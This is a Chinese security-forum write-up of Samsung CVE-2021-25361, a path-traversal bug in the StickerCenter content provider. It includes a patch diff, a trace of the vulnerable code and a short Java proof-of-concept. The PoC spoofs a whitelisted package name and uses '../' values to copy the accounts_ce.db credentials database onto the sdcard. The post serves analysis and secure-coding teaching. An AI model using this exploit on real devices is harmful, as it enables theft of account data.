问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
三星手机 CVE-2021-25361 漏洞分析
漏洞分析
# Samsung CVE-2021-25361 漏洞分析及利用 ## **0x1 漏洞描述** 该漏洞编号为 `CVE-2021-25361`,官方描述如下。 ```txt CVE-2021-25361: Arbitrary file read/write vulnerability v...
Samsung CVE-2021-25361 漏洞分析及利用 ============================== **0x1 漏洞描述** ------------ 该漏洞编号为 `CVE-2021-25361`,官方描述如下。 ```txt CVE-2021-25361: Arbitrary file read/write vulnerability via unprotected StickerCenter content provider Severity: Moderate Affected versions: P(9.0), Q(10.0) Reported on: October 8, 2020 Disclosure status: Privately disclosed. An improper access control vulnerability in stickerCenter prior to SMR APR-2021 Release 1 allows local attackers to read or write arbitrary files of system process via untrusted applications. ``` **0x2 漏洞分析** ------------ 根据官方文档描述可知,该漏洞位于 `Sticker center` 中,根据漏洞报告,下载 `SMR APR-2021 Release 1` 的官方 Rom,并与老版本进行对比发现以下差异。 旧版本如下: ```java //旧版本 package com.samsung.android.stickercenter.StickerProvider; public class StickerProvider extends StickerProvider { //---snip--- private Uri insertInternal(SQLiteDatab ase datab ase, Uri uri, ContentValues CV, int arg19, boolean isNotify){ String pkgName = contentResolve.getAsString(PKG_NAME); String Type = contentResolve.getAsString(TYPE); String versionName = contentResolve.getAsString(VERSION_NAME); String versionCode = contentResolve.getAsString(VERSION_CODE); String filePath = contentResolve.getAsString(FILE_PATH); String preName = contentResolve.getAsString(PREVIEW_NAME); String orgName = contentResolve.getAsString(ORIGINAL_NAME); //---snip--- } //---snip--- } ``` 新版本如下: ```java //新版本 package com.samsung.android.stickercenter.StickerProvider; public class StickerProvider extends StickerProvider { //---snip--- private Uri insertInternal(SQLiteDatab ase datab ase, Uri uri, ContentValues contentResolve, int arg19, boolean isNotify) { String pkgName = FilenameUtils.getName(contentResolve.getAsString(PKG_NAME)); // ---- 补丁 String Type = FilenameUtils.getName(contentResolve.getAsString(TYPE)); // ---- 补丁 String versionName = contentResolve.getAsString(VERSION_NAME); String versionCode = contentResolve.getAsString(VERSION_CODE); String filePath = FilenameUtils.getName(contentResolve.getAsString(FILE_PATH)); // ---- 补丁 String preName = FilenameUtils.getName(contentResolve.getAsString(PREVIEW_NAME)); // ---- 补丁 String orgName = FilenameUtils.getName(contentResolve.getAsString(ORIGINAL_NAME)); // ---- 补丁 //---snip--- } //---snip--- } ``` 新版本 `FilenameUtils` 类如下: ```java //新版本中,FilenameUtils 类 public class FilenameUtils { private static void failIfNullBytePresent(String arg3) { int v0 = arg3.length(); int v1 = 0; while(v1 v0) { if(arg3.charAt(v1) != 0) { ++v1; continue; } throw new IllegalArgumentException(Null byte present in file/path name. There are no known legitimate use cases for such data, but several injection attacks may use it); } } public static String getName(String arg1) { if(arg1 == null) { return null; } FilenameUtils.failIfNullBytePresent(arg1); return arg1.substring(FilenameUtils.indexOfLastSeparator(arg1) + 1); } public static int indexOfLastSeparator(String arg2) { return arg2 == null ? -1 : Math.max(arg2.lastIndexOf(0x2F), arg2.lastIndexOf(92)); } } ``` 从对比中得知,漏洞补丁主要思路是通过 `FilenameUtils.getName` 函数对路径做进一步的筛查,其中筛查主要分为两个方面: - 通过 `FilenameUtils.failIfNullBytePresent` 函数确保路径中没有无效空字符。 - 通过 `arg1.substring(FilenameUtils.indexOfLastSeparator(arg1) + 1)` 确保只保留最后一个层级的目录字符串。 下面开始简单的分析漏洞触发流程. 该漏洞存在于 `stickercenter.StickerProvider` 中的 `insert` 函数,在用户层可通过`ContentResolver` 调用其 `insert` 函数,首先在 `insert` 函数中,会验证调用者的包名是否合法: ```java private Uri(Uri uri, ContentValues CV){ //---snip--- if(!this.isAuthorizedStickerApp(v2)) { StickerLog.d(StickerProvider.TAG, Unauthorized calling package : + v2); return null; } //---snip--- } ``` `isAuthorizedStickerApp` 函数会验证 Exploit APP 包名是否在 `AUTHORIZED_PACKAGES` 白名单中: ```java private boolean isAuthorizedStickerApp(String arg1) { return Constants.AUTHORIZED_PACKAGES.contains(arg1); } ``` 该处只需替换 Exploit APP 包名为白名单中所包含的即可,`AUTHORIZED_PACKAGES` 初始化的白名单列表如下: ```java Constants.AUTHORIZED_PACKAGES = new ArrayList(Arrays.asList(new String[]{ com.sec.android.app.samsungapps, com.samsung.android.contacts, com.samsung.android.incallui, com.samsung.android.messaging, com.samsung.android.calendar, com.sec.android.mimage.photoretouching, com.sec.android.app.camera, com.sec.android.app.vepreload, com.samsung.android.stickerplugin, com.samsung.android.provider.stickerprovider, com.sec.android.inputmethod, com.sec.android.inputmethod.beta, com.sec.android.app.camera.avatarauth, com.samsung.android.stickonme, com.samsung.android.service.livedrawing, com.sec.android.mimage.avatarstickers, aeslauncher.android.sec.com.aeslauncheractivity, com.sec.android.easyMover, com.samsung.android.aremoji com.samsung.android.icecone, com.samsung.android.honeyboard, com.samsung.android.aremojieditor, com.samsung.android.sdk.sketchbook.avatarapp, com.samsung.android.livestickers, com.samsung.android.app.contacts, com.samsung.android.stickertestapp, com.samsung.android.gearnplugin, com.samsung.android.gearrplugin, com.samsung.android.gearpplugin, com.samsung.android.geargplugin, com.samsung.android.hostmanager})); } ``` 用户可传入构造的参数`ContentValues` , 随后,会根据传入的参数获得如下几个参数: ```java private Uri insertInternal(SQLiteDatab ase datab ase, Uri uri, ContentValues contentResolve, int arg19, boolean isNotify) { //---snip--- String pkgName = contentResolver.getAsString(PKG_NAME); String Type = contentResolver.getAsString(TYPE); String versionName = contentResolver.getAsString(VERSION_NAME); String versionCode = contentResolver.getAsString(VERSION_CODE); String filePath = contentResolver.getAsString(FILE_PATH); String preName = contentResolver.getAsString(PREVIEW_NAME); String orgName = contentResolver.getAsString(ORIGINAL_NAME); //---snip--- } ``` `insert` 函数首先会调用 `checkExistSameData` 函数,通过 `pkgName` 和 `Type` 获取一个数据库: ```java public Uri insert(Uri uri, ContentValues contentResolver) { //---snip--- if(this.checkExistSameData(pkgName, Type, CV.getAsString(PREVIEW_NAME), CV.getAsString(ORIGINAL_NAME)) != 0) { return null; } //---snip--- } ``` `checkExistSameData` 函数会查询 `mStickerItemsDBHelperList` 是否匹配用户传入的 `pkgName` 和 `Type` 的数据库,若没有,则创建一个,并添加到 `checkExistSameData` 中。 接着,会进入 `insertInternal` 函数,先通过用户传入的 `filePath + preName` 获得一个 `bitmap` ```java //---snip--- byte[] bitmapFile = this.getByteFromBitmap(Uri.parse(filePath + preName)); //---snip--- ``` 接下来,将旧文件复制到新的路径中。旧文件路径为: `filePath + orgName` ,新文件路径为 `/data/overlays/sticker/0/ + Type + / + pkgName + /assets + / + orgName` 。 漏洞利用的思路就是构造旧文件路径为 `system_proccess` 可读的文件,并利用路径遍历,将新文件路径指向 `/sdcard` 中,那么,用户传入的参数总结如下: ```java /data/overlays/sticker/0/ + Type + / + pkgName = datab asePath //system_proccess权限可访问即可 filePath + preName = bitmapPath //在sdcard下,这样有利于提前放入准备好的 .gif 格式文件 filePath + orgName = oldFilePath //system_proccess权限可读 /data/overlays/sticker/0/ + Type + / + pkgName + /assets + / + orgName = newFilePath //在sdcard目录下 ``` **0x3 漏洞利用** ------------ 首先,需要让APP的包名为上述列表中的包名之一. 现在,假设要将 `data/system_ce/0/accounts_ce.db` 移动到sdcard中,那么各参数构造如下: ```java PKG_NAME: com.mTEST1; TYPE: ../../../../sdcard/; FILE_PATH: file:///data/system_ce/0/; ORIGINAL_NAME: accounts_ce.db; PREVIEW_NAME: ../../../sdcard/com.mTEST1/assets/test.gif; ``` 重复添加 PREVIEW\_NAME 会导致数据库报错,无法后续流程 ```java private int checkExistSameData(String arg9, String arg10, String arg11, String arg12) { //---snip--- if(new File(v6_1.toString()).exists()) { StickerLog.d(StickerProvider.TAG, There is a same file.); } //---snip--- } ``` 解决方法有两种,第一种是每次更改 `.gif` 的文件名,第二种方案是调用 `Provider` 的 `delete` 函数,具体见 `Exploit` 代码. 确定好各参数,接下来开始编写主要代码,核心的 `Exploit` 如下: ```java public static void insert(ContentResolver contentResolver){ Uri uri = Uri.parse(content://com.samsung.android.stickercenter.provider/update/sticker/item/); ContentValues contentValues = new ContentValues(); contentValues.put(PKG_NAME,com.mTEST); contentValues.put(TYPE,../../../../sdcard/); contentValues.put(FILE_PATH,file:///data/system_ce/0/); contentValues.put(ORIGINAL_NAME,accounts_ce.db); contentValues.put(PREVIEW_NAME,../../../sdcard/com.mTEST1/assets/test.gif); Uri result = null; result = contentResolver.insert(uri,cv); if(result == null){ log(result is null); }else{ log(result.toString()); } } ``` **0x4 路径遍历总结** -------------- 路径遍历类漏洞主要产生于对于包含了路径的字符串审查不严格,以及对高权限模块的调用者筛选不严格导致的。在编写代码时,要对由用户输入的参数保持高度警惕,做好充分的“消毒”,通常需要由专门的“工具类”来复用此类检查工作,要想完全避免路径遍历类漏洞,还是需要充分的代码审计以及测试步骤。
发表于 2021-07-26 10:49:01
阅读 ( 4961 )
分类:
漏洞分析
4 推荐
收藏
4 条评论
Tony酱
2021-07-20 15:13
写的太好了,看完这篇文章,我受益匪浅,感谢楼主!!!!
请先
登录
后评论
别说了别说了我是废物
2021-07-28 10:02
大佬好(萌新瑟瑟发抖中)
请先
登录
后评论
寒雨
2021-07-28 15:37
写的太好了,看完这篇文章,我受益匪浅,感谢楼主!!!!
请先
登录
后评论
寒雨
2021-07-28 15:37
写的太好了,看完这篇文章,我受益匪浅,感谢楼主!!!!
请先
登录
后评论
请先
登录
后评论
Tony酱
资深发型设计师
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!